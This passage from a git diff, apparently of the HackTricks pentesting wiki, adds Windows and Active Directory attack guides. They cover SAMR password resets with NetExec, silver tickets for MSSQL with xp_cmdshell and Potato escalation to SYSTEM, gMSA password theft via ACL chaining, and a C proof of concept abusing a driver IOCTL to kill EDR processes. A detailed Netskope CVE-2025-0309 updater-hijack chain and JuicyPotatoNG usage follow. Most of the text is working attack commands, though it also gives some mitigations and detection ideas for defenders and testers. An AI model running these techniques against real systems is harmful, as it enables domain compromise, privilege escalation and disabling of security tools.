- For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set):
|
||||
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
||||
|
||||
# Validate and retrieve domain password policy with the new creds
|
||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
|
||||
Operational notes:
|
||||
- Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
|
||||
- A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights.
|
||||
|
||||
## Brute Force
|
||||
|
||||
```bash
|
||||
@ -226,6 +264,7 @@ To use any of these tools, you need a user list and a password / a small list of
|
||||
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -43,6 +43,42 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||||
|
||||
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
|
||||
|
||||
### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM
|
||||
|
||||
If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.
|
||||
|
||||
```bash
|
||||
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
|
||||
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
|
||||
-spn MSSQLSvc/<host.fqdn>:1433 administrator
|
||||
export KRB5CCNAME=$PWD/administrator.ccache
|
||||
|
||||
# Connect to SQL using Kerberos and run commands via xp_cmdshell
|
||||
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
|
||||
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
|
||||
```
|
||||
|
||||
- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM:
|
||||
|
||||
```bash
|
||||
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
|
||||
PrintSpoofer.exe -c "cmd /c whoami"
|
||||
# or
|
||||
GodPotato -cmd "cmd /c whoami"
|
||||
```
|
||||
|
||||
More details on abusing MSSQL and enabling xp_cmdshell:
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
{{#endref}}
|
||||
|
||||
Potato techniques overview:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## Available Services
|
||||
|
||||
| Service Type | Service Silver Tickets |
|
||||
@ -167,9 +203,8 @@ dcsync.md
|
||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||||
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
|
||||
- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -169,6 +169,47 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz
|
||||
|
||||
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
|
||||
|
||||
### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
|
||||
|
||||
In many environments, low-privileged users can pivot to gMSA secrets without DC compromise by abusing misconfigured object ACLs:
|
||||
|
||||
- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA.
|
||||
- By adding yourself to that group, you inherit the right to read the gMSA’s `msDS-ManagedPassword` blob over LDAP and derive usable NTLM credentials.
|
||||
|
||||
Typical workflow:
|
||||
|
||||
1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
|
||||
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
|
||||
|
||||
2) Add yourself to the intermediate group you control (example with bloodyAD):
|
||||
|
||||
```bash
|
||||
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
|
||||
```
|
||||
|
||||
3) Read the gMSA managed password via LDAP and derive the NTLM hash. NetExec automates the extraction of `msDS-ManagedPassword` and conversion to NTLM:
|
||||
|
||||
```bash
|
||||
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
|
||||
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
|
||||
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
|
||||
```
|
||||
|
||||
4) Authenticate as the gMSA using the NTLM hash (no plaintext needed). If the account is in Remote Management Users, WinRM will work directly:
|
||||
|
||||
```bash
|
||||
# SMB / WinRM as the gMSA using the NT hash
|
||||
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
|
||||
```
|
||||
|
||||
Notes:
|
||||
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
|
||||
- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
|
||||
- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
|
||||
|
||||
|
||||
|
||||
## LAPS
|
||||
|
||||
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
|
||||
@ -269,4 +310,10 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha
|
||||
uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
|
||||
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||
- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,6 +15,7 @@
|
||||
- [ ] Interesting info in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
@ -228,6 +228,15 @@ Basically, this is the flaw that this bug exploits:
|
||||
|
||||
You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
|
||||
|
||||
## Third-Party Auto-Updaters and Agent IPC (local privesc)
|
||||
|
||||
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
abusing-auto-updaters-and-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**.
|
||||
@ -739,6 +748,40 @@ If a driver exposes an arbitrary kernel read/write primitive (common in poorly d
|
||||
arbitrary-kernel-rw-token-theft.md
|
||||
{{#endref}}
|
||||
|
||||
#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
|
||||
|
||||
Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:
|
||||
|
||||
- \\ .\\DeviceName\\anything
|
||||
- \\ .\\amsdk\\anyfile (from a real-world case)
|
||||
|
||||
Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:
|
||||
- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
|
||||
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
|
||||
- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
|
||||
|
||||
Minimal PoC pattern (user mode):
|
||||
```c
|
||||
// Example based on a vulnerable antimalware driver
|
||||
#define IOCTL_REGISTER_PROCESS 0x80002010
|
||||
#define IOCTL_TERMINATE_PROCESS 0x80002048
|
||||
|
||||
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
|
||||
DWORD me = GetCurrentProcessId();
|
||||
DWORD target = /* PID to kill or open */;
|
||||
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
|
||||
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
|
||||
```
|
||||
|
||||
Mitigations for developers
|
||||
- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL.
|
||||
- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns.
|
||||
- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges.
|
||||
|
||||
Detection ideas for defenders
|
||||
- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse.
|
||||
- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists.
|
||||
|
||||
|
||||
## PATH DLL Hijacking
|
||||
|
||||
@ -1839,4 +1882,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
|
||||
- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,125 @@
|
||||
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs.
|
||||
|
||||
Key ideas you can reuse against similar products:
|
||||
- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server.
|
||||
- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
|
||||
- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties.
|
||||
- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry.
|
||||
- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch.
|
||||
|
||||
---
|
||||
## 1) Forcing enrollment to an attacker server via localhost IPC
|
||||
|
||||
Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
|
||||
|
||||
Observed in Netskope:
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Exploit flow:
|
||||
1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
|
||||
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
|
||||
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
|
||||
"tenantName": "TestOrg"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
3) The service starts hitting your rogue server for enrollment/config, e.g.:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Notes:
|
||||
- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
|
||||
|
||||
---
|
||||
## 2) Hijacking the update channel to run code as SYSTEM
|
||||
|
||||
Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
|
||||
|
||||
1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
|
||||
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
|
||||
- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
|
||||
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
|
||||
|
||||
Result: the SYSTEM service installs your MSI from
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
executing arbitrary code as NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow‑listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Two practical bypasses:
|
||||
- DLL injection into an allow‑listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
|
||||
- Spawn an allow‑listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver‑enforced tamper rules.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
|
||||
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
A reliable user‑mode loader that respects these constraints:
|
||||
1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
|
||||
2) Obtain handles you’re still allowed to: PROCESS_VM_WRITE | PROCESS_VM_OPERATION on the process, and a thread handle with THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (or just THREAD_RESUME if you patch code at a known RIP).
|
||||
3) Overwrite ntdll!NtContinue (or other early, guaranteed‑mapped thunk) with a tiny stub that calls LoadLibraryW on your DLL path, then jumps back.
|
||||
4) ResumeThread to trigger your stub in‑process, loading your DLL.
|
||||
|
||||
Because you never used PROCESS_CREATE_THREAD or PROCESS_SUSPEND_RESUME on an already‑protected process (you created it), the driver’s policy is satisfied.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automates a rogue CA, malicious MSI signing, and serves the needed endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope is a custom IPC client that crafts arbitrary (optionally AES‑encrypted) IPC messages and includes the suspended‑process injection to originate from an allow‑listed binary.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
|
||||
- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
|
||||
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
|
||||
- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
|
||||
- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
|
||||
- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
|
||||
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
|
||||
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING] > **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_
|
||||
> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -15,6 +15,11 @@ _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotten
|
||||
|
||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Compatibility quick notes
|
||||
|
||||
- Works reliably up to Windows 10 1803 and Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
|
||||
- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds.
|
||||
|
||||
### Summary <a href="#summary" id="summary"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
@ -81,6 +86,29 @@ The actual solution is to protect sensitive accounts and applications which run
|
||||
|
||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
## JuicyPotatoNG (2022+)
|
||||
|
||||
JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
|
||||
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
|
||||
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
|
||||
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||
|
||||
Important notes (evolving behavior across builds):
|
||||
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
|
||||
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
|
||||
|
||||
Basic usage (more flags in the help):
|
||||
|
||||
```
|
||||
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# Useful helpers:
|
||||
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
|
||||
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
||||
# -i Interactive console (only with CreateProcessAsUser)
|
||||
```
|
||||
|
||||
If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
|
||||
|
||||
## Examples
|
||||
|
||||
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
|
||||
@ -114,10 +142,7 @@ c:\Users\Public>
|
||||
|
||||
Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://ohpe.it/juicy-potato/CLSID/
|
||||
{{#endref}}
|
||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
||||
|
||||
### **Checking CLSIDs**
|
||||
|
||||
@ -132,5 +157,6 @@ Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master
|
||||
## References
|
||||
|
||||
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user